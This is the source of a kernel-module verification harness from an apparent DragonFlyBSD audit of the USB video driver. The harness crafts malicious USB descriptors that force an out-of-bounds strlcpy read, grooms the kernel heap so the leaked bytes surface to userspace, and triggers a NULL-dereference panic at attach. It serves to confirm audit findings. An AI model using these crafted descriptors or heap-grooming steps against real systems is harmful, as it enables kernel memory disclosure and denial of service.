⬢ DragonFlyBSD Kernel Audit
DF-5305 / uvcharness.c
← back to finding ↓ download raw
/*
 * uvcharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_drv.c
 *
 * DF-5305: strlcpy() from the non-NUL-terminated 16-byte bGuidFmt of a
 *          VS_FORMAT_FRAME_BASED descriptor walks past the kmalloc()d
 *          config-descriptor buffer; leaked bytes land in fmt->name and
 *          are disclosed to userspace by VIDIOC_ENUM_FMT.
 * DF-5306: a VideoControl header declaring zero VideoStreaming interfaces
 *          (bIfaceNums == 0) leaves sc->data == NULL; uvc_drv_init_video()
 *          dereferences it (data->num_altsetting, uvc_drv.c:1513) and
 *          panics at attach time.
 *
 * The harness #includes the REAL driver sources (newbus registration
 * neutered) and drives the real parse functions with crafted config
 * blobs exactly as an evil USB device presents them at attach.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

/* Neuter driver registration; we want the parse code only.
 * (Headers above already pulled in the real macro definitions.) */
#undef DRIVER_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, drv, dc, evh, arg)
#define MODULE_DEPEND(name, mod, min, pref, max)
#define MODULE_VERSION(mod, ver)

/* The real driver code, verbatim */
#include "uvc_buf.c"
#include "uvc_ctrls.c"
#include "uvc_v4l2.c"
#include "uvc_drv.c"

/* keep the (now unregistered) driver objects referenced for -Werror */
static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass };

static struct usb_device fake_udev;
static struct usb_interface fake_ifaces[2];
static uint8_t fake_devt[512];		/* zeroed fake device_t */

static const uint8_t guid_evil[16] = {
	0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8,
	0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0,	/* unknown GUID, no NUL */
};

#define BLOB_LEN 72	/* exact 8-byte kmalloc zone: 9|9|13|9|28 = 68 + 4 device bytes */

static void
build_blob(uint8_t *b, uint8_t bIfaceNums)
{
	uint8_t *p;

	memset(b, 0x00, BLOB_LEN);

	/* [0..8] configuration descriptor, wTotalLength = BLOB_LEN */
	p = b;
	p[0] = 9;  p[1] = 2;
	p[2] = BLOB_LEN & 0xff;
	p[3] = (BLOB_LEN >> 8) & 0xff;
	p[4] = 2;			/* bNumInterface */
	p[5] = 1;			/* bConfigurationValue */
	p[7] = 0x80;  p[8] = 250;

	/* [9..17] interface #0: VIDEO class (0x0E), subclass CONTROL (1) */
	p = b + 9;
	p[0] = 9;  p[1] = 4;  p[2] = 0;  p[3] = 0;  p[4] = 0;
	p[5] = 0x0E;  p[6] = 0x01;  p[7] = 0;  p[8] = 0;

	/* [18..30] CS VC_HEADER, bLength = 13 */
	p = b + 18;
	p[0] = 13;  p[1] = 0x24;  p[2] = 0x01;	/* UDESCSUB_VC_HEADER */
	p[3] = 0x10;  p[4] = 0x01;		/* wRevision = 0x0110 */
	p[5] = 13;   p[6] = 0;			/* wTotalLen */
	p[7] = 0x00; p[8] = 0x36; p[9] = 0xEE; p[10] = 0x00;	/* dClockFreq */
	p[11] = bIfaceNums;
	p[12] = 1;				/* bIfaceList[0]: VS iface number */

	/* [31..39] interface #1: VIDEO class (0x0E), subclass STREAMING (2) */
	p = b + 31;
	p[0] = 9;  p[1] = 4;  p[2] = 1;  p[3] = 0;  p[4] = 0;
	p[5] = 0x0E;  p[6] = 0x02;  p[7] = 0;  p[8] = 0;

	/* [40..67] CS VS_FORMAT_FRAME_BASED, bLength = 28 */
	p = b + 40;
	p[0] = 28;  p[1] = 0x24;  p[2] = 0x10;	/* UDESCSUB_VS_FORMAT_FRAME_BASED */
	p[3] = 1;				/* bFormatIndex */
	p[4] = 0;				/* bFrameNum */
	memcpy(p + 5, guid_evil, 16);		/* bGuidFmt at desc offset 5..20 */
	p[21] = 0x55;				/* bBitsPerpixel */
	p[22] = 0x55;				/* bDefaultFrameIndex */
	p[23] = 0x55;				/* bAspectRadiox */
	p[24] = 0x55;				/* bAspectRadioy */
	p[25] = 0x55;				/* bInterlaceFlags */
	p[26] = 0x55;				/* bCopyProtect */
	p[27] = 0x55;				/* bVariableSize */

	/* [68..71] device-supplied padding INSIDE wTotalLength: the last
	 * descriptor ends at 68, these 4 bytes belong to the cdesc buffer
	 * but to no descriptor; all non-NUL.  strlcpy() must cross the
	 * 72-byte allocation boundary to terminate. */
	p = b + 68;
	p[0] = 0x5A;  p[1] = 0x5A;  p[2] = 0x5A;  p[3] = 0x5A;
}

static void
setup_fake(uint8_t *blob)
{
	memset(&fake_udev, 0, sizeof(fake_udev));
	fake_udev.cdesc = (struct usb_config_descriptor *)blob;
	fake_udev.ifaces = fake_ifaces;
	fake_udev.ifaces_max = 2;

	memset(fake_ifaces, 0, sizeof(fake_ifaces));
	fake_ifaces[0].idesc = (struct usb_interface_descriptor *)(blob + 9);
	fake_ifaces[1].idesc = (struct usb_interface_descriptor *)(blob + 31);
}

static void
hexdump_name(const char *tag, const char *name)
{
	int i;

	kprintf("%s hex:", tag);
	for (i = 0; i < 64; i++)
		kprintf("%s%02x", (i % 16) ? " " : "\n  ", (uint8_t)name[i]);
	kprintf("\n");
}

/*
 * DF-5305: parse a blob whose last descriptor is a FRAME_BASED format with
 * a non-NUL GUID.  strlcpy() in uvc_drv.c:1888 walks past the allocation.
 */
static void
run_leak(int round)
{
	struct uvc_softc sc;
	struct uvc_drv_ctrl *ctrl;
	uint8_t *blob;
	void *g[24];
	uint8_t mark = 0x41 + 2 * round;
	int i, ret;
	size_t n;

	/* heap groom: free a run of 72-byte chunks filled with 0x42, then
	 * take one back for the marker so the chunk following the blob is
	 * filled with `mark` (the "adjacent kernel memory"). */
	for (i = 0; i < 24; i++) {
		g[i] = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK);
		memset(g[i], 0x42, BLOB_LEN);
	}
	for (i = 0; i < 24; i++)
		kfree(g[i], M_TEMP);
	{
		void *markA = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK);
		memset(markA, mark, BLOB_LEN);
	}

	blob = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK | M_ZERO);
	build_blob(blob, 1);
	setup_fake(blob);

	memset(&sc, 0, sizeof(sc));
	sc.udev = &fake_udev;
	sc.dev = (device_t)(void *)fake_devt;

	ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0);
	ret = uvc_drv_parse_ctrl(&sc, ctrl);
	kprintf("HARNESS[%d] DF-5305: parse_ctrl ret=%d sc.data=%p blob=%p blob_end=%p\n",
	    round, ret, sc.data, blob, blob + BLOB_LEN);
	if (ret != 0 || sc.data == NULL) {
		kprintf("HARNESS[%d] DF-5305: parse failed\n", round);
		return;
	}
	kprintf("HARNESS[%d] DF-5305: nfmt=%u nfrm=%u nitv=%u fmt=%p\n",
	    round, sc.data->nfmt, sc.data->nfrm, sc.data->nitv, sc.data->fmt);

	n = strnlen(sc.data->fmt[0].name, 64);
	hexdump_name("HARNESS fmt[0].name", sc.data->fmt[0].name);
	kprintf("HARNESS[%d] DF-5305: name strlen=%zu; in-bounds non-NUL run after GUID start (blob+45) is %d bytes -> "
	    "strlen > %d PROVES read past the %d-byte cdesc allocation (groom marker this round = 0x%02x)\n",
	    round, n, BLOB_LEN - 45, BLOB_LEN - 45, BLOB_LEN, mark);
	if (n > (size_t)(BLOB_LEN - 45))
		kprintf("HARNESS[%d] DF-5305: *** OOB READ PAST ALLOCATION CONFIRMED: %zu bytes from outside the blob ***\n",
		    round, n - (BLOB_LEN - 45));

	/* the real disclosure sink, as VIDIOC_ENUM_FMT reaches it */
	{
		struct uvc_drv_video v;
		struct v4l2_fmtdesc fd;

		memset(&v, 0, sizeof(v));
		v.data = sc.data;
		v.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		memset(&fd, 0, sizeof(fd));
		fd.index = 0;
		fd.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		ret = uvc_drv_enum_v4l2_fmt(&v, &fd);
		kprintf("HARNESS[%d] DF-5305: uvc_drv_enum_v4l2_fmt ret=%d -> user-visible description=<%s>\n",
		    round, ret, fd.description);
	}
}

/*
 * DF-5306: VC_HEADER with bIfaceNums == 0 -> sc->data stays NULL ->
 * uvc_drv_init_video() panics on data->num_altsetting (uvc_drv.c:1513).
 */
static void
run_null(void)
{
	struct uvc_softc sc;
	struct uvc_drv_ctrl *ctrl;
	static uint8_t blob[BLOB_LEN];
	int ret;

	build_blob(blob, 0);		/* bIfaceNums = 0 */
	setup_fake(blob);

	memset(&sc, 0, sizeof(sc));
	sc.udev = &fake_udev;
	sc.dev = (device_t)(void *)fake_devt;

	ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0);
	ret = uvc_drv_parse_ctrl(&sc, ctrl);
	kprintf("HARNESS DF-5306: parse_ctrl ret=%d sc.data=%p (expected NULL)\n",
	    ret, sc.data);
	if (sc.data != NULL) {
		kprintf("HARNESS DF-5306: sc.data unexpectedly non-NULL, abort\n");
		return;
	}
	kprintf("HARNESS DF-5306: calling real uvc_drv_init_video(sc, ctrl, NULL): "
	    "expect NULL-deref panic at uvc_drv.c:1513 (data->num_altsetting)\n");
	sc.video = uvc_drv_init_video(&sc, ctrl, sc.data);
	kprintf("HARNESS DF-5306: returned %p (UNEXPECTED - no panic)\n", sc.video);
}

static int harness_mode = 0;

static int
sysctl_harness(SYSCTL_HANDLER_ARGS)
{
	int error, m = harness_mode;

	error = SYSCTL_OUT(req, &m, sizeof(m));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &m, sizeof(m));
	if (error != 0)
		return (error);
	if (m == 1)
		run_leak(99);
	else if (m == 2)
		run_null();
	harness_mode = m;
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, uvcharness, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_harness, "I", "uvc verification harness trigger");

static int
uvcharness_handler(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("HARNESS: loaded (real uvc sources compiled in)\n");
		run_leak(1);
		run_leak(2);
		run_leak(3);
		return (0);
	case MOD_UNLOAD:
		kprintf("HARNESS: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t uvcharness_mod = {
	"uvcharness",
	uvcharness_handler,
	NULL
};
DECLARE_MODULE(uvcharness, uvcharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);